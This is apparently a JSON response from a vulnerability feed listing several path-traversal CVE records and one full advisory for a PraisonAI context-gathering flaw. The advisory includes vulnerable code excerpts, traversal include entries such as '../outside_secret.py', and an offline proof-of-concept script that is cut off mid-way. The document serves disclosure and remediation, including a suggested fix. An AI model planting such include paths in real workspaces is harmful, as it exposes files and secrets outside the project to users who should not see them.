{"success":true,"data":{"threats":[{"id":"54fb719b-efbb-4817-9ddf-fa8104ea279a","slug":"cve-2026-84247","externalId":"CVE-2026-84247","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-84247 — IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to cause a denial of service due to a path traversal vulnerability.","description":"IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to cause a denial of service due to a path traversal vulnerability.","cveId":"CVE-2026-84247","cvssScore":8.1,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-22"],"tags":["nvd","status:received"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://www.ibm.com/support/pages/node/7288035","type":"advisory","title":"psirt@us.ibm.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T22:17:33.987Z","addedAt":"2026-10-08T23:06:40.621Z","updatedAt":"2026-10-08T23:06:40.621Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84247","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-84247","note":"authoritative record"}]},{"id":"f9bc3eba-33f3-4651-9aba-c82d98ef2821","slug":"cve-2026-82900","externalId":"CVE-2026-82900","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-82900 — IBM Guardium Data Protection 12.2.2, and 12.1 could allow a remote attacker to delete arbitrary files due to improper limitation of a pathname to a…","description":"IBM Guardium Data Protection 12.2.2, and 12.1 could allow a remote attacker to delete arbitrary files due to improper limitation of a pathname to a restricted directory.","cveId":"CVE-2026-82900","cvssScore":8.1,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-22"],"tags":["nvd","status:received"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://www.ibm.com/support/pages/node/7288832","type":"advisory","title":"psirt@us.ibm.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T22:17:32.753Z","addedAt":"2026-10-08T23:06:40.504Z","updatedAt":"2026-10-08T23:06:40.504Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82900","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-82900","note":"authoritative record"}]},{"id":"de76ca7f-7ddb-4209-bb23-f546c32472f5","slug":"cve-2026-75875","externalId":"CVE-2026-75875","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-75875 — IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a remote attacker to execute arbitrary code due to path traversal.","description":"IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a remote attacker to execute arbitrary code due to path traversal.","cveId":"CVE-2026-75875","cvssScore":9.8,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","severity":"critical","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-22"],"tags":["nvd","status:received"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://www.ibm.com/support/pages/node/7291674","type":"advisory","title":"psirt@us.ibm.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T22:17:32.223Z","addedAt":"2026-10-08T23:06:40.442Z","updatedAt":"2026-10-08T23:06:40.442Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75875","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-75875","note":"authoritative record"}]},{"id":"6006bd8e-0662-4ea9-966b-5f5c38592519","slug":"cve-2026-107716","externalId":"CVE-2026-107716","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107716 — Banks generates meaningful LLM prompts using a simple template language.","description":"Banks generates meaningful LLM prompts using a simple template language. Prior to 2.5.1, Banks DirectoryPromptRegistry does not reject symbolic links for index.json or discovered and existing .jinja prompt files. In an application where untrusted users can influence a prompt directory, DirectoryPromptRegistry._scan() and DirectoryPromptRegistry.get() can follow a link outside the registry root and disclose a file, while DirectoryPromptRegistry.set(), DirectoryPromptRegistry._save(), and DirectoryPromptRegistry._load() can read or overwrite an external link target. The issue requires attacker influence over the registry directory or its extracted contents. This issue is fixed in version 2.5.1.","cveId":"CVE-2026-107716","cvssScore":7.3,"cvssVector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-22","CWE-59"],"tags":["nvd","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/masci/banks/commit/23ed13e50b4e217693fa5f9c30943fac8a41582f","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/masci/banks/pull/79","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/masci/banks/releases/tag/v2.5.1","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/masci/banks/security/advisories/GHSA-556j-vv39-8rqv","type":"advisory","title":"security-advisories@github.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T22:17:27.323Z","addedAt":"2026-10-08T23:06:40.072Z","updatedAt":"2026-10-08T23:06:40.072Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107716","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107716","note":"authoritative record"}]},{"id":"eecbd48a-7b99-4526-a0d2-fb49350acec5","slug":"cve-2026-19493","externalId":"CVE-2026-19493","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-19493 — IBM Security Verify Access 10.0 through 10.0.9.2 and IBM Verify Identity Access 11.0 through 11.0.3 could allow a remote attacker to perform an arb…","description":"IBM Security Verify Access 10.0 through 10.0.9.2 and IBM Verify Identity Access 11.0 through 11.0.3 could allow a remote attacker to perform an arbitrary file write due to path traversal.","cveId":"CVE-2026-19493","cvssScore":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-22"],"tags":["nvd","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://www.ibm.com/support/pages/node/7291628","type":"advisory","title":"psirt@us.ibm.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T21:17:57.203Z","addedAt":"2026-10-08T23:06:39.775Z","updatedAt":"2026-10-08T23:06:39.775Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19493","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-19493","note":"authoritative record"}]},{"id":"39e0d9e5-8b84-4dc1-a45d-6ac19008c7c1","slug":"cve-2026-84275","externalId":"CVE-2026-84275","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-84275 — IBM Guardium Data Protection 12.2 is vulnerable to path traversal in the GIM file-upload functionality.","description":"IBM Guardium Data Protection 12.2 is vulnerable to path traversal in the GIM file-upload functionality. An unauthenticated attacker could exploit this vulnerability to write arbitrary files to the Collector.","cveId":"CVE-2026-84275","cvssScore":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-22"],"tags":["nvd","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://www.ibm.com/support/pages/node/7288035","type":"advisory","title":"psirt@us.ibm.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T20:17:38.077Z","addedAt":"2026-10-08T21:05:53.603Z","updatedAt":"2026-10-08T21:05:53.603Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84275","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-84275","note":"authoritative record"}]},{"id":"7fc66960-106c-44f8-966a-3bddd0e6ab67","slug":"cve-2026-107377","externalId":"CVE-2026-107377","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107377 — datamodel-code-generator generates Python data models from schema definitions.","description":"datamodel-code-generator generates Python data models from schema definitions. From 0.59.0 until 0.81.0, an attacker-controlled Protobuf schema can supply absolute or parent-directory paths captured by WEAK_IMPORT_PATTERN and consumed by _write_missing_weak_imports in src/datamodel_code_generator/parser/protobuf.py. Exploitation requires a victim or automated job to process the attacker-controlled schema with Protobuf input support, which requires the grpcio-tools package. The paths escape the weak_imports temporary directory before protoc runs, allowing creation of directory trees and new files or overwrite of existing writable files with a generated Protobuf syntax declaration. The effect persists when later Protobuf compilation fails. The written content is limited to a proto2 or proto3 syntax declaration, and direct arbitrary code execution has not been demonstrated. This issue is fixed in version 0.81.0.","cveId":"CVE-2026-107377","cvssScore":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","severity":"high","vendor":"PyPI","product":"datamodel-code-generator","affectedVersions":["pkg:pypi/datamodel-code-generator >= 0.59.0, < 0.81.0"],"cwes":["CWE-22","CWE-73"],"tags":["nvd","status:deferred","osv","osv:ghsa-77xj-x4rm-935c","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/datamodel-code-generator/datamodel-code-generator/commit/5e94b8f4203198798ec66b8e48217f70af69a0dc","type":"other","title":"OSV web"},{"url":"https://github.com/datamodel-code-generator/datamodel-code-generator/releases/tag/0.81.0","type":"other","title":"OSV web"},{"url":"https://github.com/datamodel-code-generator/datamodel-code-generator/security/advisories/GHSA-77xj-x4rm-935c","type":"other","title":"OSV web"},{"url":"https://osv.dev/vulnerability/GHSA-77xj-x4rm-935c","type":"advisory","title":"OSV GHSA-77xj-x4rm-935c"},{"url":"https://github.com/datamodel-code-generator/datamodel-code-generator","type":"vendor","title":"OSV package"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T18:17:22.973Z","addedAt":"2026-10-08T18:39:31.897Z","updatedAt":"2026-10-08T18:42:41.818Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107377","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107377","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-77XJ-X4RM-935C"}]},{"id":"04a014e5-d3ac-44cc-8528-c92815abffe5","slug":"cve-2026-61431","externalId":"GHSA-q7m5-3jmv-vm48","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace","description":"# ContextGatherer include resolution permits absolute and traversal reads outside the workspace\n\n## Summary\n\nPraisonAI's `praisonai.ui.context.ContextGatherer` treats the configured `directory` as the project workspace, but project-controlled `.praisoncontext` and `.praisoninclude` files can name absolute paths or `..` traversal paths. When context gathering runs, PraisonAI opens those outside paths and appends their contents to the generated context bundle. An attacker who can supply or modify a workspace repository can therefore cause process-readable files outside the intended project root to be sent to the caller or model as project context.\n\n## Technical Details\n\n`ContextGatherer.get_include_paths()` reads include entries directly from `.praisoncontext` and `.praisoninclude` under the configured workspace. It stores each non-comment line as a raw include path:\n\n```python\ninclude_file = os.path.join(self.directory, '.praisoncontext')\nif os.path.exists(include_file):\n    with open(include_file, 'r') as f:\n        include_paths.extend(\n            line.strip() for line in f\n            if line.strip() and not line.startswith('#')\n        )\n```\n\nWhen `.praisoncontext` is present, `gather_context()` passes every include entry through `os.path.join(self.directory, include_path)` and then processes the result:\n\n```python\nfor include_path in self.include_paths:\n    full_path = os.path.join(self.directory, include_path)\n    process_path(full_path)\n```\n\nThe `.praisoninclude` path has the same unsafe join after first processing the workspace:\n\n```python\nprocess_path(self.directory)\nfor include_path in self.include_paths:\n    full_path = os.path.join(self.directory, include_path)\n    process_path(full_path)\n```\n\nThere is no canonicalization or containment check before `process_path()` opens files or recursively walks directories. In Python, `os.path.join(workspace, absolute_path)` returns the absolute path and discards `workspace`; `os.path.join(workspace, \"../outside.py\")` remains outside the workspace once normalized by filesystem operations. `add_file_content()` then opens the supplied path and appends file contents to the context before display bookkeeping:\n\n```python\nwith open(file_path, 'r', encoding='utf-8') as f:\n    content = f.read()\n    context.append(\n        f\"File: {file_path}\\n\\n{content}\\n\\n{'=' * 50}\\n\"\n    )\n    self.included_files.append(\n        Path(file_path).relative_to(self.directory)\n    )\n```\n\nFor parent traversal paths, `Path(file_path).relative_to(self.directory)` raises after the outside file content has already been appended, so the caller receives the outside content even if an error is logged. For absolute paths, the outside content is appended as well. This violates the workspace invariant for a context-gathering feature: repository-local include metadata should select files within the project, not arbitrary process-readable host files.\n\n## PoV\n\nThe minimal vulnerable shape is a workspace containing only a normal source file and one include file:\n\n```text\nworkspace/\n  .praisoncontext      # contains: ../outside_secret.py\n  inside.py\noutside_secret.py      # outside the workspace\n```\n\nRunning `ContextGatherer(directory=\"workspace\").run()` returns context containing `outside_secret.py` even though that file is outside the configured workspace. The same result occurs when `.praisoncontext` contains an absolute path to the outside file, and when `.praisoninclude` contains either the parent traversal path or the absolute path.\n\n## PoC\n\nSave the self-contained script from the Appendix below as `context_include_workspace_pov.py`, then run it against a local checkout:\n\n```bash\nexport PRAISONAI=/path/to/PraisonAI\nPYTHONPATH=\"$PRAISONAI/src/praisonai\" python context_include_workspace_pov.py\n```\n\nExpected vulnerable output:\n\n```json\n{\n  \"expectations\": {\n    \"control_inside_file_is_collected\": true,\n    \"control_without_include_does_not_read_outside\": true,\n    \"praisoncontext_absolute_path_discloses_outside\": true,\n    \"praisoncontext_parent_traversal_discloses_outside\": true,\n    \"praisoninclude_absolute_path_discloses_outside\": true,\n    \"praisoninclude_parent_traversal_discloses_outside\": true\n  },\n  \"source_commit\": \"1620b49f36945d8cc8ee5635b906c960df5097a0\",\n  \"source_file\": \"$PRAISONAI/src/praisonai/praisonai/ui/context.py\",\n  \"vulnerable\": true\n}\n```\n\nThe version sweep sampled old and current releases. All sampled versions are vulnerable:\n\n```text\n{\"ref\":\"v2.3.10\",\"praisonai_version\":\"2.3.10\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v2.3.11\",\"praisonai_version\":\"2.3.11\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v3.8.1\",\"praisonai_version\":\"3.8.1\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v3.9.26\",\"praisonai_version\":\"3.9.26\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.4.12\",\"praisonai_version\":\"4.4.12\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.5.16\",\"praisonai_version\":\"4.5.16\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.5.128\",\"praisonai_version\":\"4.5.128\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.6.58\",\"praisonai_version\":\"4.6.58\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.6.62\",\"praisonai_version\":\"4.6.62\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.6.63\",\"praisonai_version\":\"4.6.63\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"HEAD\",\"praisonai_version\":\"4.6.63\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n```\n\nNo external service, live target, real credential, model provider, or network access is needed for reproduction.\n\n## Impact\n\nIf a user or service runs PraisonAI context gathering on an attacker-influenced workspace, the attacker can cause local files outside the project root to be included in the generated context. Practical impacts include disclosure of source files from adjacent projects, local configuration, prompt transcripts, logs, API keys, and other process-readable text files with extensions that `ContextGatherer` considers relevant. If the context bundle is sent to an external model or exposed to a lower-trust caller, the file contents leave the intended workspace boundary.\n\nThis report claims confidentiality impact only. It does not claim arbitrary write, command execution, or availability impact.\n\nSuggested severity: Medium under the direct local/workspace threat model because user interaction is required to run context gathering on an attacker-influenced workspace. Deployments that automatically gather context for untrusted repositories and forward it to a third-party model may score higher.\n\nSuggested CVSS 3.1 vector:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nMake include-file path resolution fail closed around a single workspace-containment helper:\n\n1. Resolve the configured workspace root once with `Path(self.directory).resolve()`.\n2. For each include entry, reject absolute paths outside the workspace.\n3. Join relative include entries to the workspace, resolve the result, and require `resolved.relative_to(workspace_root)` to succeed before opening or walking anything.\n4. Apply the helper to both `.praisoncontext` and `.praisoninclude` processing.\n5. Reject escaped directories as well as escaped files; `process_path()` can recursively walk directories.\n6. Avoid appending file content before display/bookkeeping operations that can fail.\n7. Add regression tests for `../outside.py`, absolute outside paths, and outside directories in both `.praisoncontext` and `.praisoninclude`.\n\nMinimal containment shape:\n\n```python\ndef _resolve_workspace_include(workspace: str, include_path: str) -> Path:\n    root = Path(workspace).resolve()\n    candidate = Path(include_path)\n    if not candidate.is_absolute():\n        candidate = root / candidate\n    resolved = candidate.resolve()\n    try:\n        resolved.relative_to(root)\n    except ValueError as exc:\n        raise PermissionError(f\"Context include path is outside workspace: {include_path}\") from exc\n    return resolved\n```\n\n## Affected Package/Versions\n\n- Package: `PraisonAI` / `praisonai`\n- Component: `praisonai.ui.context.ContextGatherer`\n- Current main tested: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n- Current package version in the tested source tree: `4.6.63`\n- Latest tested release tag: `v4.6.63`\n- Oldest sampled vulnerable release tag: `v2.3.10`\n\nSuggested affected range, based on the sampled source sweep:\n\n```text\npraisonai >= 2.3.10, <= 4.6.63\n```\n\nThe exact first affected released package version should be confirmed from release history; the sampled range shows the bug is longstanding and still present on current main.\n\n## Advisory History\n\nNo checked public advisory or local prior report matched `praisonai.ui.context.ContextGatherer` reading outside-workspace files because project-controlled `.praisoncontext` or `.praisoninclude` entries contain absolute paths or `..` traversal paths.\n\nClosest public comparators are related but distinct:\n\n- `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers `praisonai` Code `CODE_TOOLS` wrappers and unset workspace defaults for read/edit helpers. This report has an explicitly configured workspace directory and an attacker-controlled include file inside that workspace; it does not use Code tools or an unset global workspace.\n- `GHSA-j7qx-p75m-wp7g`: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw `artifact_path` values. This report covers `praisonai.ui.context.ContextGatherer` include-file processing.\n- `GHSA-22cj-m4wf-fv2c`: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where `run_id` and `agent_id` are path components. This report covers `.praisoncontext`/`.praisoninclude` entries in the classic UI context gatherer.\n- `GHSA-grrg-5cg9-58pf` / `CVE-2026-40117`: `read_skill_file()` arbitrary file read. This report does not use skill tools or approval-gated skill file APIs.\n- `GHSA-7j2f-xc8p-fjmq` / `CVE-2026-40152` and `GHSA-693f-pf34-72c5`: FileTools/listing path traversal surfaces. This report is not in `praisonaiagents.tools.file_tools` or legacy FileTools; it discloses file content through context-gathering output.\n- `GHSA-fwh2-95jw-g4j6`: PraisonAI MultiAgentMonitor path traversal, published on 2026-06-19, affects versions before `1.5.115`. This report affects current main and `4.6.63` and is triggered by `.praisoncontext`/`.praisoninclude` include paths rather than MultiAgentMonitor path parameters.\n- `GHSA-qwwv-hc99-6f5p`, `GHSA-5fr5-2c3f-3fcr`, `GHSA-gx4r-3wg8-9w5x`, and `GHSA-x44p-gg67-52fc`: current public PraisonAI advisories for MultiAgentLedger duplicate IDs, AGUI CORS/authorization, UI approval-mode command execution, and approval cache keying. None covers `ContextGatherer`, `.praisoncontext`, `.praisoninclude`, or `praisonai.ui.context`.\n\nPublic search found no hits for `PraisonAI ContextGatherer .praisoncontext workspace boundary arbitrary file read`, `praisoninclude ContextGatherer`, or `praisonai.ui.context` in public GitHub advisory text.\n\n## References\n\n- PraisonAI repository: https://github.com/MervinPraison/PraisonAI\n- PraisonAI security advisories: https://github.com/MervinPraison/PraisonAI/security/advisories\n- GitHub Advisory Database search for PraisonAI: https://github.com/advisories?query=PraisonAI\n- `GHSA-gcq3-mfvh-3x25`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25\n- `GHSA-j7qx-p75m-wp7g`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g\n- `GHSA-22cj-m4wf-fv2c`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c\n- `GHSA-grrg-5cg9-58pf`: https://github.com/advisories/GHSA-grrg-5cg9-58pf\n- `GHSA-7j2f-xc8p-fjmq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq\n- `GHSA-fwh2-95jw-g4j6`: https://github.com/advisories/GHSA-fwh2-95jw-g4j6\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- CWE-200: https://cwe.mitre.org/data/definitions/200.html\n\n## Appendix: Self-Contained Context Include Workspace PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"Offline PoV for PraisonAI ContextGatherer include-file workspace escape.\"\"\"\n\nfrom __future__ import annotations\n\nimport contextlib\nimport io\nimport inspect\nimport json\nimport logging\nimport subprocess\nimport tempfile\nfrom pathlib import Path\n\nfrom praisonai.ui.context import ContextGatherer\n\n\nCANARY = \"PRAISON_CONTEXT_CANARY=outside-workspace\"\nlogging.getLogger(\"praisonai.ui.context\").disabled = True\n\n\ndef imported_source_file() -> Path:\n    return Path(inspect.getfile(ContextGatherer)).resolve()\n\n\ndef git_head(source_file: Path) -> str:\n    try:\n        repo_root = next(parent for parent in source_file.parents if (parent / \".git\").exists())\n        return subprocess.check_output(\n            [\"git\", \"-C\", str(repo_root), \"rev-parse\", \"HEAD\"],\n            text=True,\n            stderr=subprocess.DEVNULL,\n        ).strip()\n    except Exception:\n        return \"unknown\"\n\n\ndef gather_context(workspace: Path) -> tuple[str, str]:\n    stdout = io.StringIO()\n    stderr = io.StringIO()\n    with contextlib.redirect_stdout(stdout), contextlib.redirect_stderr(stderr):\n        context, _tokens, _tree = ContextGatherer(\n            directory=str(workspace),\n            max_file_size=100_000,\n            max_tokens=100_000,\n        ).run()\n    return context, stdout.getvalue() + stderr.getvalue()\n\n\ndef reset_include_files(workspace: Path) -> None:\n    for name in (\".praisoncontext\", \".praisoninclude\"):\n        path = workspace / name\n        if path.exists():\n            path.unlink()\n\n\ndef redact(value, temp_root: Path, source_file: Path):\n    if isinstance(value, str):\n        source_root = next((parent for parent in source_file.parents if (parent / \".git\").exists()), source_file.parents[4])\n        return value.replace(str(temp_root), \"$TMPDIR\").replace(str(source_root), \"$PRAISONAI\")\n    if isinstance(value, list):\n        return [redact(item, temp_root, source_file) for item in value]\n    if isinstance(value, dict):\n        return {key: redact(item, temp_root, source_file) for key, item in value.items()}\n    return value\n\n\ndef main() -> None:\n    source_file = imported_source_file()\n    with tempfile.TemporaryDirectory(prefix=\"praison-context-include-pov-\") as tmp:\n        temp_root = Path(tmp)\n        workspace = temp_root / \"workspace\"\n        workspace.mkdir()\n        inside = workspace / \"inside.py\"\n        outside = temp_root / \"outside_secret.py\"\n        inside.write_text(\"INSIDE_ONLY = True\\n\", encoding=\"utf-8\")\n        outside.write_text(f\"{CANARY}\\n\", encoding=\"utf-8\")\n\n        contexts = {}\n        logs = {}\n\n        reset_include_files(workspace)\n        contexts[\"control_no_include\"], logs[\"control_no_include\"] = gather_context(workspace)\n\n        reset_include_files(workspace)\n        (workspace / \".praisoncontext\").write_text(\"../outside_secret.py\\n\", encoding=\"utf-8\")\n        contexts[\"praisoncontext_parent_traversal\"], logs[\"praisoncontext_parent_traversal\"] = gather_context(workspace)\n\n        reset_include_files(workspace)\n        (workspace / \".praisoncontext\").write_text(str(outside) + \"\\n\", encoding=\"utf-8\")\n        contexts[\"praisoncontext_absolute_path\"], logs[\"praisoncontext_absolute_path\"] = gather_context(workspace)\n\n        reset_include_files(workspace)\n        (workspace / \".praisoninclude\").write_text(\"../outside_secret.py\\n\", encoding=\"utf-8\")\n        contexts[\"praisoninclude_parent_traversal\"], logs[\"praisoninclude_parent_traversal\"] = gather_context(workspace)\n\n        reset_include_files(workspace)\n        (workspace / \".praisoninclude\").write_text(str(outside) + \"\\n\", encoding=\"utf-8\")\n        contexts[\"praisoninclude_absolute_path\"], logs[\"praisoninclude_absolute_path\"] = gather_context(workspace)\n\n        expectations = {\n            \"control_without_include_does_not_read_outside\": CANARY not in contexts[\"control_no_include\"],\n            \"control_inside_file_is_collected\": \"INSIDE_ONLY = True\" in contexts[\"control_no_include\"],\n            \"praisoncontext_parent_traversal_discloses_outside\": CANARY in contexts[\"praisoncontext_parent_traversal\"],\n            \"praisoncontext_absolute_path_discloses_outside\": CANARY in contexts[\"praisoncontext_absolute_path\"],\n            \"praisoninclude_parent_traversal_discloses_outside\": CANARY in contexts[\"praisoninclude_parent_traversal\"],\n            \"praisoninclude_absolute_path_discloses_outside\": CANARY in contexts[\"praisoninclude_absolute_path\"],\n        }\n\n        output = {\n            \"source_commit\": git_head(source_file),\n            \"source_file\": str(source_file),\n            \"workspace_root\": str(workspace),\n            \"outside_file\": str(outside),\n            \"vulnerable\": all(expectations.values()),\n            \"expectations\": expectations,\n            \"context_contains\": {\n                name: {\n                    \"contains_inside\": \"INSIDE_ONLY = True\" in 